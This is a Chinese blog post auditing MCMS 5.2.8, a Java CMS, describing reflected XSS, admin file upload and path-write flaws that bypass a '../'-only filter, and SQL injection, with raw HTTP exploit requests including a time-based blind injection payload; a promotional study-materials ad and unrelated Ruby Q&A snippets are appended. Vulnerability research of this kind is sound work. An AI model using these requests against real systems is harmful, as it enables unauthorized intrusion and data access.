草庐IT

记一次MCMS的审计之路

蚁景科技 2023-03-28 原文

  MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。

  十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 MCMS 5.2.8

环境搭建

  我们下载好安装包后

  • 利用 idea 打开项目

  • 创建数据库 mcms,导入 doc/mcms-5.2.8.sql

  • 修改 src/main/resources/application-dev.yml 中关于数据库设置参数

  • 运行MSApplication.java main方法

  • 利用账户名:密码 msopen:msopen 登录后台 http://localhost:8080/ms/login.do

  • 进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章

  启动的时候会有一点小 bug 需要在 idea 中配置

  运行成功后,页面如图所示

前台反射型 XSS

漏洞复现

  ‍

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)  ​

漏洞分析

  我们看到运行后的控制台输出为

  我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加断点,再次触发漏洞,看到一个完整的调用栈,

  net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)

  ‍

后台命令执行一

漏洞复现

  后台有一个可以上传模板文件的位置

  我们上传文件并抓取数据包

  ‍

  我们看到数据包中的参数 uploadPath 指定了上传的位置,最后返回了上传后的路径以及文件内容

  通过修改 参数 uploadPath 的值,我们就可以将文件上传 webapp 的任意目录下

  我们写一个 1.txt 进行验证

POST /ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"

/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"

true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"

false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html

test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--

漏洞分析

  通过路由 /ms/file/uploadTemplate 定位到代码位置

  net.mingsoft.basic.action.ManageFileAction#uploadTemplate

  我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过

  net.mingsoft.basic.action.ManageFileAction#checkUploadPath

  net.mingsoft.basic.action.BaseFileAction#uploadTemplate

后台命令执行二

漏洞复现

  我们看到除了上传模板的接口,还存在编辑模板的接口

  点击编辑,编辑后保存并抓取数据包

  原本的数据包

  我们看到参数 fileName 通过绝对路径指定了文件名,所以我们可以通过修改 fileName 来实现绝对路径写入

漏洞分析

  net.mingsoft.basic.action.TemplateAction#writeFileContent

  我们看到对文件的后缀名进行了检验,但还是通过传入的参数 fileName 写入文件

  ‍

后台命令执行三

漏洞复现

  构造数据包

POST /ms/file/upload.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"

/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"

true

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"

false

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="3.txt"
Content-Type: text/html

test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--

  返回上传成功的文件的地址

  ‍

漏洞分析

  这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内

  net.mingsoft.basic.action.ManageFileAction#upload

  虽然存在非法路径过滤函数 checkUploadPath ,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过

  对文件的上传是利用了

  net.mingsoft.basic.action.BaseFileAction#upload

  存在很多过滤,但是还是可以成功上传文件

  ‍

后台 SQL 注入漏洞

  ‍

漏洞复现

  构造数据包

GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1
Host: localhost:8080
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie:
Pragma: no-cache
Referer: http://localhost:8080/ms/model/index.do?
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
token: null

  发现成功使得服务器沉睡五秒

漏洞分析

  net.mingsoft.mdiy.action.PageAction#verify

  获取参数并传到方法 validated

  net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)

  将 fieldName 和 fieldValue 的传入到 where 参数中

  net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)

  ​

  net.mingsoft.base.dao.IBaseDao#queryBySQL

  因为是 mybits 所以未采用预编译的 ${ 就容易产生注入

  ‍

后台 SQL 注入二

漏洞复现

  登录后台后我们找到自定义模型的位置

  根据代码生成器 生成一个自定义模型 json 并导入保存

  点击删除时 抓取数据包

  修改modelTableName

  发现成功使得服务器沉睡五秒

漏洞分析

  net.mingsoft.mdiy.action.ModelAction#delete

  net.mingsoft.base.biz.impl.BaseBizImpl#dropTable

  ​

  net.mingsoft.base.dao.IBaseDao

  ‍

  查看dropTable对应的mapper内容如下,直接将table内容进行拼接且未预编译,造成SQL注入。

 更多靶场实验练习、网安学习资料,请点击这里>>

 

有关记一次MCMS的审计之路的更多相关文章

  1. ruby - 使用 Vim Rails,您可以创建一个新的迁移文件并一次性打开它吗? - 2

    使用带有Rails插件的vim,您可以创建一个迁移文件,然后一次性打开该文件吗?textmate也可以这样吗? 最佳答案 你可以使用rails.vim然后做类似的事情::Rgeneratemigratonadd_foo_to_bar插件将打开迁移生成的文件,这正是您想要的。我不能代表textmate。 关于ruby-使用VimRails,您可以创建一个新的迁移文件并一次性打开它吗?,我们在StackOverflow上找到一个类似的问题: https://sta

  2. ruby - 如何每月在 Heroku 运行一次 Scheduler 插件? - 2

    在选择我想要运行操作的频率时,唯一的选项是“每天”、“每小时”和“每10分钟”。谢谢!我想为我的Rails3.1应用程序运行调度程序。 最佳答案 这不是一个优雅的解决方案,但您可以安排它每天运行,并在实际开始工作之前检查日期是否为当月的第一天。 关于ruby-如何每月在Heroku运行一次Scheduler插件?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/8692687/

  3. ruby-on-rails - Rake 任务仅调用一次时执行两次 - 2

    我写了一个非常简单的rake任务来尝试找到这个问题的根源。namespace:foodotaskbar::environmentdoputs'RUNNING'endend当在控制台中执行rakefoo:bar时,输出为:RUNNINGRUNNING当我执行任何rake任务时会发生这种情况。有没有人遇到过这样的事情?编辑上面的rake任务就是写在那个.rake文件中的所有内容。这是当前正在使用的Rakefile。requireFile.expand_path('../config/application',__FILE__)OurApp::Application.load_tasks这里

  4. ruby - 我怎样才能只写一次 "Text"并同时检查 path_info 是否包含 'A' ? - 2

    -if!request.path_info.include?'A'%{:id=>'A'}"Text"-else"Text"“文本”写了两次。我怎样才能只写一次并同时检查path_info是否包含“A”? 最佳答案 有两种方法可以做到这一点。使用部分,或使用content_forblock:如果“文本”较长,或者是一个重要的子树,您可以将其提取到一个部分。这会使您的代码变干一点。在给出的示例中,这似乎有点矫枉过正。在这种情况下更好的方法是使用content_forblock,如下所示:-if!request.path_info.inc

  5. ruby-on-rails - 使用 Ruby 正确处理 Stripe 错误和异常以实现一次性收费 - 2

    我查看了Stripedocumentationonerrors,但我仍然无法正确处理/重定向这些错误。基本上无论发生什么,我都希望他们返回到edit操作(通过edit_profile_path)并向他们显示一条消息(无论成功与否)。我在edit操作上有一个表单,它可以POST到update操作。使用有效的信用卡可以正常工作(费用在Stripe仪表板中)。我正在使用Stripe.js。classExtrasController5000,#amountincents:currency=>"usd",:card=>token,:description=>current_user.email)

  6. ruby - 如何在 Ruby 中只执行一次方法?有静态变量吗? - 2

    我写了一个脚本,其中包含一些方法定义,没有类和一些公共(public)代码。其中一些方法执行一些非常耗时的shell程序。然而,这些shell程序只需要在第一次调用该方法时执行。现在在C中,我会在每个方法中声明一个静态变量,以确保这些程序只执行一次。我怎么能在Ruby中做到这一点? 最佳答案 ruby中有一个成语:x||=y。defsomething@something||=calculate_somethingendprivatedefcalculate_something#somelongprocessend但是如果您的“长时间

  7. ruby - 格式化数字以每隔三位数拆分一次 - 2

    我想在格式化数字时每隔三个字符放置一个空格。根据这个规范:it"shouldformatanamount"dospaces_on(1202003).should=="1202003"end我想出了这段代码来完成这项工作defspaces_onamountthousands=amount/1000remainder=amount%1000ifthousands==0"#{remainder}"elsezero_padded_remainder='%03.f'%remainder"#{spaces_onthousands}#{zero_padded_remainder}"endend所以我

  8. ruby-on-rails - 你如何编写一个只为测试文件执行一次的设置方法? - 2

    我希望有一种方法可以针对每个文件运行一次,而不是针对每个测试运行一次。我已经看到一些对“之前”方法的引用,但似乎不适用于MiniTest。理想情况下,像这样:classMyTest 最佳答案 Before用于minitest使用specdsl时,相当于setup。您可以使用setup,如果您在test_helper.rb文件中使用setup,它将在所有测试之前执行一次。设置也可以在测试类中声明。使用设置,放置一个标志并在第一次更新标志。x=0setupdoifx==0x=x+1puts"Incrementedinx=#{x}"end

  9. ruby - 如何让 Ruby 每 10 分钟运行一次任务? - 2

    我想每10分钟执行一次cron作业,但我的系统只执行1小时。所以我正在寻找一种方法来做到这一点。我看过Timer和sleep但我不确定如何执行此操作,甚至不知道如何实现此操作。 最佳答案 看看http://rufus.rubyforge.org/rufus-scheduler/rufus-scheduler是一个用于调度代码片段(作业)的Rubygem。它了解在特定时间、在特定时间、每x次或仅通过CRON语句运行作业。rufus-scheduler不能替代cron/at,因为它在Ruby内部运行。

  10. ruby-on-rails - ByeBug 调试器只工作一次 [Rails 4] - 2

    我遇到的问题是byebug类在第一个之后被忽略了。这很奇怪。我启动服务器。每当有byebug语句时,如果它是服务器启动后的第一个语句,它就会起作用。如果没有,它会显示此消息:***Byebug已经启动。忽略byebugcall.并且调试器工作的唯一方法是重新启动服务器(它只会工作一次)。非常感谢任何帮助。顺便说一句,每个项目都会发生这种情况。谢谢。 最佳答案 这是reportedandfixed,但尚未发布。现在要解决这个问题,请使用以下内容更新Gemfile:gem'byebug',github:'deivid-rodriguez

随机推荐